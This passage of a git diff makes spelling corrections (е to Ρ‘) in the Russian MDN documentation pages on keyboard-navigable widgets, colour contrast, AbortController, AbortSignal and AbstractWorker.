+<p>Когда ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ ΡƒΡ…ΠΎΠ΄ΠΈΡ‚ с Π²ΠΈΠ΄ΠΆΠ΅Ρ‚Π°, Π° ΠΏΠΎΡ‚ΠΎΠΌ возвращаСтся ΠΎΠ±Ρ€Π°Ρ‚Π½ΠΎ, фокус Π΄ΠΎΠ»ΠΆΠ΅Π½ вСрнутся Π½Π° ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΉ элСмСнт, Ρƒ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ Π±Ρ‹Π» фокус Ρ€Π°Π½ΡŒΡˆΠ΅. НапримСр, Π½Π° ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½Ρ‹ΠΉ элСмСнт Π΄Π΅Ρ€Π΅Π²Π° ΠΈΠ»ΠΈ ячСйку. Π•ΡΡ‚ΡŒ Π΄Π²Π° Π²Π°Ρ€ΠΈΠ°Π½Ρ‚Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌΠΈ этого ΠΌΠΎΠΆΠ½ΠΎ Π΄ΠΎΠ±ΠΈΡ‚ΡŒΡΡ:</p>
<ol>
<li>ΠŸΠ΅Ρ€Π΅Ρ…ΠΎΠ΄ΡΡ‰ΠΈΠΉ <code>tabindex</code>: ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ½ΠΎΠ΅ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Ρ‰Π΅Π½ΠΈΠ΅ фокуса</li>
@@ -126,7 +126,7 @@ translation_of: Web/Accessibility/Keyboard-navigable_JavaScript_widgets
<h4 id="Π’Π΅Ρ…Π½ΠΈΠΊΠ°_пСрвая_ΠŸΠ΅Ρ€Π΅Ρ…ΠΎΠ΄ΡΡ‰ΠΈΠΉ_tabindex">Π’Π΅Ρ…Π½ΠΈΠΊΠ° пСрвая: ΠŸΠ΅Ρ€Π΅Ρ…ΠΎΠ΄ΡΡ‰ΠΈΠΉ tabindex</h4>
-<p>ИдСя Π΄Π°Π½Π½ΠΎΠΉ Ρ‚Π΅Ρ…Π½ΠΈΠΊΠΈ Π·Π°ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ΡΡ Π² выставлСнии Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° <code>tabindex</code> Π² Π½ΡƒΠ»Π΅Π²ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ для элСмСнта, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ послСдним находился Π² фокусС. ΠŸΡ€ΠΈ этом Ссли ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ ΡƒΠΉΠ΄Π΅Ρ‚ Ρ‚Π°Π±ΠΎΠΌ с Π²ΠΈΠ΄ΠΆΠ΅Ρ‚Π°, Π° ΠΏΠΎΡ‚ΠΎΠΌ вСрнСтся ΠΎΠ±Ρ€Π°Ρ‚Π½ΠΎ, элСмСнт восстановит фокус ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎ. Π—Π°ΠΌΠ΅Ρ‚ΡŒΡ‚Π΅, Ρ‡Ρ‚ΠΎ выставляя <code>tabindex</code> Π² "0", Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ Π²Ρ‹ΡΡ‚Π°Π²Π»ΡΡ‚ΡŒ <code>tabindex="-1"</code> для ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰Π΅Π³ΠΎ Π²Ρ‹Π΄Π΅Π»Π΅Π½Π½ΠΎΠ³ΠΎ элСмСнта. Π­Ρ‚Π° Ρ‚Π΅Ρ…Π½ΠΈΠΊΠ° Ρ‚Ρ€Π΅Π±ΡƒΠ΅Ρ‚ Π²Ρ‹ΡΡ‚Π°Π²Π»ΡΡ‚ΡŒ фокус элСмСнтам ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ½ΠΎ, рСагируя Π½Π° Π½Π°ΠΆΠ°Ρ‚ΠΈΠ΅ клавиш.</p>
+<p>ИдСя Π΄Π°Π½Π½ΠΎΠΉ Ρ‚Π΅Ρ…Π½ΠΈΠΊΠΈ Π·Π°ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ΡΡ Π² выставлСнии Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° <code>tabindex</code> Π² Π½ΡƒΠ»Π΅Π²ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ для элСмСнта, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ послСдним находился Π² фокусС. ΠŸΡ€ΠΈ этом Ссли ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ ΡƒΠΉΠ΄Ρ‘Ρ‚ Ρ‚Π°Π±ΠΎΠΌ с Π²ΠΈΠ΄ΠΆΠ΅Ρ‚Π°, Π° ΠΏΠΎΡ‚ΠΎΠΌ вСрнётся ΠΎΠ±Ρ€Π°Ρ‚Π½ΠΎ, элСмСнт восстановит фокус ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎ. Π—Π°ΠΌΠ΅Ρ‚ΡŒΡ‚Π΅, Ρ‡Ρ‚ΠΎ выставляя <code>tabindex</code> Π² "0", Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ Π²Ρ‹ΡΡ‚Π°Π²Π»ΡΡ‚ΡŒ <code>tabindex="-1"</code> для ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰Π΅Π³ΠΎ Π²Ρ‹Π΄Π΅Π»Π΅Π½Π½ΠΎΠ³ΠΎ элСмСнта. Π­Ρ‚Π° Ρ‚Π΅Ρ…Π½ΠΈΠΊΠ° Ρ‚Ρ€Π΅Π±ΡƒΠ΅Ρ‚ Π²Ρ‹ΡΡ‚Π°Π²Π»ΡΡ‚ΡŒ фокус элСмСнтам ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ½ΠΎ, рСагируя Π½Π° Π½Π°ΠΆΠ°Ρ‚ΠΈΠ΅ клавиш.</p>
<p>Для этого Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Ρ‚ΡŒ событиС keydown для ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ Π΄ΠΎΡ‡Π΅Ρ€Π½Π΅Π³ΠΎ элСмСнта Π²ΠΈΠ΄ΠΆΠ΅Ρ‚Π°. Когда ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ Π½Π°ΠΆΠΈΠΌΠ°Π΅Ρ‚ Π½Π° стрСлочки Π½Π° ΠΊΠ»Π°Π²ΠΈΠ°Ρ‚ΡƒΡ€Π΅, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅ΡΡ‚ΠΈΡ‚ΡŒΡΡ Π½Π° Π΄Ρ€ΡƒΠ³ΠΎΠΉ элСмСнт слСдуСт:</p>
@@ -142,7 +142,7 @@ translation_of: Web/Accessibility/Keyboard-navigable_JavaScript_widgets
<h6 id="Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅_element.focus()_Ρ‡Ρ‚ΠΎΠ±Ρ‹_Π·Π°Π΄Π°Ρ‚ΡŒ_фокус_элСмСнту">Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ element.focus() Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π·Π°Π΄Π°Ρ‚ΡŒ фокус элСмСнту</h6>
-<p>НС ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ <code>createEvent()</code>, <code>initEvent()</code> and <code>dispatchEvent()</code> Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π·Π°Π΄Π°Ρ‚ΡŒ фокус. Π‘ΠΎΠ±Ρ‹Ρ‚ΠΈΠ΅ DOM focus Π΄ΠΎΠ»ΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ для получСния ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ ΠΎ Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ ΠΏΡ€ΠΎΠΈΠ·ΠΎΡˆΠ΅Π» фокус Π½Π° элСмСнт, ΠΎΠ½ΠΎ гСнСрируСтся систСмой, ΠΊΠΎΠ³Π΄Π° ΠΊΠ°ΠΊΠΎΠΉ-Π»ΠΈΠ±ΠΎ элСмСнт ΠΏΠΎΠΏΠ°Π» Π² фокус. Оно Π½Π΅ Π΄ΠΎΠ»ΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ для Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π·Π°Π΄Π°Ρ‚ΡŒ фокус. ВмСсто этого ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ <code>element.focus()</code>.</p>
+<p>НС ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ <code>createEvent()</code>, <code>initEvent()</code> and <code>dispatchEvent()</code> Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π·Π°Π΄Π°Ρ‚ΡŒ фокус. Π‘ΠΎΠ±Ρ‹Ρ‚ΠΈΠ΅ DOM focus Π΄ΠΎΠ»ΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ для получСния ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ ΠΎ Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ ΠΏΡ€ΠΎΠΈΠ·ΠΎΡˆΡ‘Π» фокус Π½Π° элСмСнт, ΠΎΠ½ΠΎ гСнСрируСтся систСмой, ΠΊΠΎΠ³Π΄Π° ΠΊΠ°ΠΊΠΎΠΉ-Π»ΠΈΠ±ΠΎ элСмСнт ΠΏΠΎΠΏΠ°Π» Π² фокус. Оно Π½Π΅ Π΄ΠΎΠ»ΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ для Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π·Π°Π΄Π°Ρ‚ΡŒ фокус. ВмСсто этого ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ <code>element.focus()</code>.</p>
<h6 id="Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅_событиС_onfocus_Ρ‡Ρ‚ΠΎΠ±Ρ‹_ΠΎΡ‚ΡΠ»Π΅ΠΆΠΈΠ²Π°Ρ‚ΡŒ_фокус">Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ событиС onfocus Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΡ‚ΡΠ»Π΅ΠΆΠΈΠ²Π°Ρ‚ΡŒ фокус</h6>
diff --git a/files/ru/web/accessibility/understanding_wcag/perceivable/color_contrast/index.html b/files/ru/web/accessibility/understanding_wcag/perceivable/color_contrast/index.html
index e63497f6ee..733a758e3a 100644
--- a/files/ru/web/accessibility/understanding_wcag/perceivable/color_contrast/index.html
+++ b/files/ru/web/accessibility/understanding_wcag/perceivable/color_contrast/index.html
@@ -9,13 +9,13 @@ translation_of: Web/Accessibility/Understanding_WCAG/Perceivable/Color_contrast
---
<h2 id="ОписаниС_ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹">ОписаниС ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹</h2>
-<p>Π¦Π²Π΅Ρ‚ΠΎΠ²ΠΎΠΉ контраст ΠΌΠ΅ΠΆΠ΄Ρƒ Ρ„ΠΎΠ½ΠΎΠΌ ΠΈ содСрТимым ΠΏΠ΅Ρ€Π΅Π΄Π½Π΅Π³ΠΎ ΠΏΠ»Π°Π½Π° (ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ тСкстом) Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ ΠΌΠΈΠ½ΠΈΠΌΠ°Π»ΡŒΠ½Ρ‹ΠΌ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ±Π΅ΡΠΏΠ΅Ρ‡ΠΈΡ‚ΡŒ удобство чтСния. Π₯ΠΎΡ€ΠΎΡˆΠΎ ΠΈΠΌΠ΅Ρ‚ΡŒ ΠΊΡ€ΡƒΡ‚ΠΎΠΉ Π΄ΠΈΠ·Π°ΠΉΠ½ Π½Π° своСм сайтС, Π½ΠΎ ΠΎΠ½ бСсполСзСн, Ссли ваши ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΠΈ Π½Π΅ ΠΌΠΎΠ³ΡƒΡ‚ ΠΏΡ€ΠΎΡ‡ΠΈΡ‚Π°Ρ‚ΡŒ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚.</p>
+<p>Π¦Π²Π΅Ρ‚ΠΎΠ²ΠΎΠΉ контраст ΠΌΠ΅ΠΆΠ΄Ρƒ Ρ„ΠΎΠ½ΠΎΠΌ ΠΈ содСрТимым ΠΏΠ΅Ρ€Π΅Π΄Π½Π΅Π³ΠΎ ΠΏΠ»Π°Π½Π° (ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ тСкстом) Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ ΠΌΠΈΠ½ΠΈΠΌΠ°Π»ΡŒΠ½Ρ‹ΠΌ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ±Π΅ΡΠΏΠ΅Ρ‡ΠΈΡ‚ΡŒ удобство чтСния. Π₯ΠΎΡ€ΠΎΡˆΠΎ ΠΈΠΌΠ΅Ρ‚ΡŒ ΠΊΡ€ΡƒΡ‚ΠΎΠΉ Π΄ΠΈΠ·Π°ΠΉΠ½ Π½Π° своём сайтС, Π½ΠΎ ΠΎΠ½ бСсполСзСн, Ссли ваши ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΠΈ Π½Π΅ ΠΌΠΎΠ³ΡƒΡ‚ ΠΏΡ€ΠΎΡ‡ΠΈΡ‚Π°Ρ‚ΡŒ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚.</p>
<p>ΠŸΡ€ΠΈΠΌΠ΅Ρ€ Ρ…ΠΎΡ€ΠΎΡˆΠ΅Π³ΠΎ контраста:<img alt="An example of good color contrast consisting of the words good contrast with a light purple background." src="https://mdn.mozillademos.org/files/16466/Screen_Shot_2019-02-04_at_5.31.23_PM.png" style="height: 310px; width: 810px;"></p>
<p>ΠŸΡ€ΠΈΠΌΠ΅Ρ€ ΠΏΠ»ΠΎΡ…ΠΎΠ³ΠΎ контраста:<img alt="An example of bad color contrast consisting of the words bad contrast with a dark purple background." src="https://mdn.mozillademos.org/files/16467/Screen_Shot_2019-02-04_at_5.31.34_PM.png" style="height: 316px; width: 814px;"></p>
-<p>НаличиС Ρ…ΠΎΡ€ΠΎΡˆΠ΅Π³ΠΎ Ρ†Π²Π΅Ρ‚ΠΎΠ²ΠΎΠ³ΠΎ контраста Π½Π° вашСм сайтС принСсёт ΠΏΠΎΠ»ΡŒΠ·Ρƒ всСм вашим ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡΠΌ, Π½ΠΎ Π² особСнности Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΠΎΠ»Π΅Π·Π½ΠΎ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡΠΌ с ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΌΠΈ Ρ‚ΠΈΠΏΠ°ΠΌΠΈ Π΄Π°Π»ΡŒΡ‚ΠΎΠ½ΠΈΠ·ΠΌΠ° ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΠΌΠΈ ΠΏΠΎΠ΄ΠΎΠ±Π½Ρ‹ΠΌΠΈ условиями, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΡΠΏΡ‹Ρ‚Ρ‹Π²Π°ΡŽΡ‚ затруднСния ΠΏΡ€ΠΈ распознавании похоТих Ρ†Π²Π΅Ρ‚ΠΎΠ².</p>
+<p>НаличиС Ρ…ΠΎΡ€ΠΎΡˆΠ΅Π³ΠΎ Ρ†Π²Π΅Ρ‚ΠΎΠ²ΠΎΠ³ΠΎ контраста Π½Π° вашСм сайтС принСсёт ΠΏΠΎΠ»ΡŒΠ·Ρƒ всСм вашим ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡΠΌ, Π½ΠΎ Π² особСнности Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΠΎΠ»Π΅Π·Π½ΠΎ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡΠΌ с ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΌΠΈ Ρ‚ΠΈΠΏΠ°ΠΌΠΈ Π΄Π°Π»ΡŒΡ‚ΠΎΠ½ΠΈΠ·ΠΌΠ° ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΠΌΠΈ ΠΏΠΎΠ΄ΠΎΠ±Π½Ρ‹ΠΌΠΈ условиями, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΡΠΏΡ‹Ρ‚Ρ‹Π²Π°ΡŽΡ‚ затруднСния ΠΏΡ€ΠΈ распознавании похоТих Ρ†Π²Π΅Ρ‚ΠΎΠ².</p>
<h2 id="БвязанныС_с_WCAG_ΠΊΡ€ΠΈΡ‚Π΅Ρ€ΠΈΠΈ_успСха">БвязанныС с WCAG ΠΊΡ€ΠΈΡ‚Π΅Ρ€ΠΈΠΈ успСха</h2>
diff --git a/files/ru/web/api/abortcontroller/index.html b/files/ru/web/api/abortcontroller/index.html
index 4914b8ca76..07671c5722 100644
--- a/files/ru/web/api/abortcontroller/index.html
+++ b/files/ru/web/api/abortcontroller/index.html
@@ -13,7 +13,7 @@ translation_of: Web/API/AbortController
<dl>
<dt>{{domxref("AbortController.AbortController()")}}</dt>
- <dd>Π‘ΠΎΠ·Π΄Π°Π΅Ρ‚ Π½ΠΎΠ²Ρ‹ΠΉ экзСмпляр <code>AbortController</code>.</dd>
+ <dd>Π‘ΠΎΠ·Π΄Π°Ρ‘Ρ‚ Π½ΠΎΠ²Ρ‹ΠΉ экзСмпляр <code>AbortController</code>.</dd>
</dl>
<h2 id="Бвойства">Бвойства</h2>
@@ -27,16 +27,16 @@ translation_of: Web/API/AbortController
<dl>
<dt>{{domxref("AbortController.abort()")}}</dt>
- <dd>ΠŸΡ€Π΅Ρ€Ρ‹Π²Π°Π΅Ρ‚ DOM запрос Π΄ΠΎ ΠΌΠΎΠΌΠ΅Π½Ρ‚Π° Π΅Π³ΠΎ Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½ΠΈΡ. Π­Ρ‚ΠΎ Π΄Π°Π΅Ρ‚ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ ΠΎΠ±Ρ€Ρ‹Π²Π°Ρ‚ΡŒΒ <a href="/en-US/docs/Web/API/WindowOrWorkerGlobalScope/fetch">fetch запросы</a>, ΠΏΠΎΡ‚Ρ€Π΅Π±ΠΈΡ‚Π΅Π»Π΅ΠΉ Π»ΡŽΠ±Ρ‹Ρ… ΠΎΡ‚Π²Π΅Ρ‚ΠΎΠ² с {{domxref("Body")}}Β ΠΈ ΠΏΠΎΡ‚ΠΎΠΊΠΈ.</dd>
+ <dd>ΠŸΡ€Π΅Ρ€Ρ‹Π²Π°Π΅Ρ‚ DOM запрос Π΄ΠΎ ΠΌΠΎΠΌΠ΅Π½Ρ‚Π° Π΅Π³ΠΎ Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½ΠΈΡ. Π­Ρ‚ΠΎ Π΄Π°Ρ‘Ρ‚ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ ΠΎΠ±Ρ€Ρ‹Π²Π°Ρ‚ΡŒΒ <a href="/en-US/docs/Web/API/WindowOrWorkerGlobalScope/fetch">fetch запросы</a>, ΠΏΠΎΡ‚Ρ€Π΅Π±ΠΈΡ‚Π΅Π»Π΅ΠΉ Π»ΡŽΠ±Ρ‹Ρ… ΠΎΡ‚Π²Π΅Ρ‚ΠΎΠ² с {{domxref("Body")}}Β ΠΈ ΠΏΠΎΡ‚ΠΎΠΊΠΈ.</dd>
</dl>
<h2 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹">ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹</h2>
<p>Π’ Ρ‚Π΅ΠΊΡƒΡ‰Π΅ΠΌ Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚Π΅ ΠΌΡ‹ пытаСмся ΡΠΊΠ°Ρ‡Π°Ρ‚ΡŒ Π²ΠΈΠ΄Π΅ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡΒ <a href="/en-US/docs/Web/API/Fetch_API">Fetch API</a>.</p>
-<p>Для Π½Π°Ρ‡Π°Π»Π° ΠΌΡ‹ создадим ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»Π»Π΅Ρ€ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ конструктор {{domxref("AbortController.AbortController","AbortController()")}}, Π·Π°Ρ‚Π΅ΠΌ возьмСм ссылку Π½Π° ассоциированный с Π½ΠΈΠΌ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Β {{domxref("AbortSignal")}} ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ свойство {{domxref("AbortController.signal")}}.</p>
+<p>Для Π½Π°Ρ‡Π°Π»Π° ΠΌΡ‹ создадим ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»Π»Π΅Ρ€ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ конструктор {{domxref("AbortController.AbortController","AbortController()")}}, Π·Π°Ρ‚Π΅ΠΌ Π²ΠΎΠ·ΡŒΠΌΡ‘ΠΌ ссылку Π½Π° ассоциированный с Π½ΠΈΠΌ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Β {{domxref("AbortSignal")}} ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ свойство {{domxref("AbortController.signal")}}.</p>
-<p>ΠŸΡ€ΠΈ ΠΈΠ½ΠΈΡ†ΠΈΠ°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈΒ <a href="/en-US/docs/Web/API/WindowOrWorkerGlobalScope/fetch">fetch запроса</a>, ΠΌΡ‹ ΠΏΠ΅Ρ€Π΅Π΄Π°Π΅ΠΌΒ <code>AbortSignal</code>Β Π² качСствС парамСтра (смотритС Π½ΠΈΠΆΠ΅Β <code>{signal}</code>). Π­Ρ‚ΠΎ ассоциируСт сигнал ΠΈ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»Π»Π΅Ρ€ с fetch запросом ΠΈ Π΄Π°Π΅Ρ‚ Π½Π°ΠΌ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ ΠΎΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ запрос Π²Ρ‹Π·ΠΎΠ²ΠΎΠΌ ΠΌΠ΅Ρ‚ΠΎΠ΄Π°Β {{domxref("AbortController.abort()")}}, Ρ‡Ρ‚ΠΎ ΠΌΠΎΠΆΠ½ΠΎ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ Π²ΠΎ Π²Ρ‚ΠΎΡ€ΠΎΠΌ addEventListener.</p>
+<p>ΠŸΡ€ΠΈ ΠΈΠ½ΠΈΡ†ΠΈΠ°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈΒ <a href="/en-US/docs/Web/API/WindowOrWorkerGlobalScope/fetch">fetch запроса</a>, ΠΌΡ‹ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‘ΠΌΒ <code>AbortSignal</code>Β Π² качСствС парамСтра (смотритС Π½ΠΈΠΆΠ΅Β <code>{signal}</code>). Π­Ρ‚ΠΎ ассоциируСт сигнал ΠΈ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»Π»Π΅Ρ€ с fetch запросом ΠΈ Π΄Π°Ρ‘Ρ‚ Π½Π°ΠΌ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ ΠΎΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ запрос Π²Ρ‹Π·ΠΎΠ²ΠΎΠΌ ΠΌΠ΅Ρ‚ΠΎΠ΄Π°Β {{domxref("AbortController.abort()")}}, Ρ‡Ρ‚ΠΎ ΠΌΠΎΠΆΠ½ΠΎ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ Π²ΠΎ Π²Ρ‚ΠΎΡ€ΠΎΠΌ addEventListener.</p>
<pre class="brush: js">var controller = new AbortController();
var signal = controller.signal;
@@ -61,7 +61,7 @@ function fetchVideo() {
}</pre>
<div class="note">
-<p><strong>Π—Π°ΠΌΠ΅Ρ‚ΠΊΠ°</strong>: ΠŸΡ€ΠΈ Π²Ρ‹Π·ΠΎΠ²Π΅Β <code>abort()</code>, промис <code>fetch()</code> Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΡ‚ΠΊΠ»ΠΎΠ½Π΅Π½ с <code>AbortError</code>.</p>
+<p><strong>Π—Π°ΠΌΠ΅Ρ‚ΠΊΠ°</strong>: ΠŸΡ€ΠΈ Π²Ρ‹Π·ΠΎΠ²Π΅Β <code>abort()</code>, промис <code>fetch()</code> Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΡ‚ΠΊΠ»ΠΎΠ½Ρ‘Π½ с <code>AbortError</code>.</p>
</div>
<p>Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π½Π°ΠΉΡ‚ΠΈ ΠΏΠΎΠ»Π½Ρ‹ΠΉ Ρ€Π°Π±ΠΎΡ‡ΠΈΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Π½Π° GitHub β€” смотритС <a href="https://github.com/mdn/dom-examples/tree/master/abort-api">abort-api</a> (<a href="https://mdn.github.io/dom-examples/abort-api/">ΠΈ ΠΆΠΈΠ²ΠΎΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€</a>).</p>
diff --git a/files/ru/web/api/abortsignal/index.html b/files/ru/web/api/abortsignal/index.html
index 1830282648..ea8d029224 100644
--- a/files/ru/web/api/abortsignal/index.html
+++ b/files/ru/web/api/abortsignal/index.html
@@ -13,7 +13,7 @@ translation_of: Web/API/AbortSignal
<dl>
<dt>{{domxref("AbortSignal.aborted")}} {{readonlyInline}}</dt>
- <dd>Π­Ρ‚ΠΎ {{domxref("Boolean")}}, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚, ΠΎΡ‚ΠΌΠ΅Π½Π΅Π½Β Π»ΠΈ запрос(Ρ‹), с ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌ связывался сигнал,Β ΠΎΡ‚ΠΌΠ΅Π½Ρ‘Π½Β (<code>true</code>) ΠΈΠ»ΠΈ Π½Π΅Ρ‚ (<code>false</code>).</dd>
+ <dd>Π­Ρ‚ΠΎ {{domxref("Boolean")}}, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚, ΠΎΡ‚ΠΌΠ΅Π½Ρ‘Π½Β Π»ΠΈ запрос(Ρ‹), с ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌ связывался сигнал,Β ΠΎΡ‚ΠΌΠ΅Π½Ρ‘Π½Β (<code>true</code>) ΠΈΠ»ΠΈ Π½Π΅Ρ‚ (<code>false</code>).</dd>
</dl>
<h3 id="ΠžΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΈ_событий">ΠžΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΈ событий</h3>
diff --git a/files/ru/web/api/abstractworker/index.html b/files/ru/web/api/abstractworker/index.html
index f7aa28428b..fc666b57c7 100644
--- a/files/ru/web/api/abstractworker/index.html
+++ b/files/ru/web/api/abstractworker/index.html
@@ -45,7 +45,7 @@ first.onchange = function() {
console.log('Message posted to worker');
}</pre>
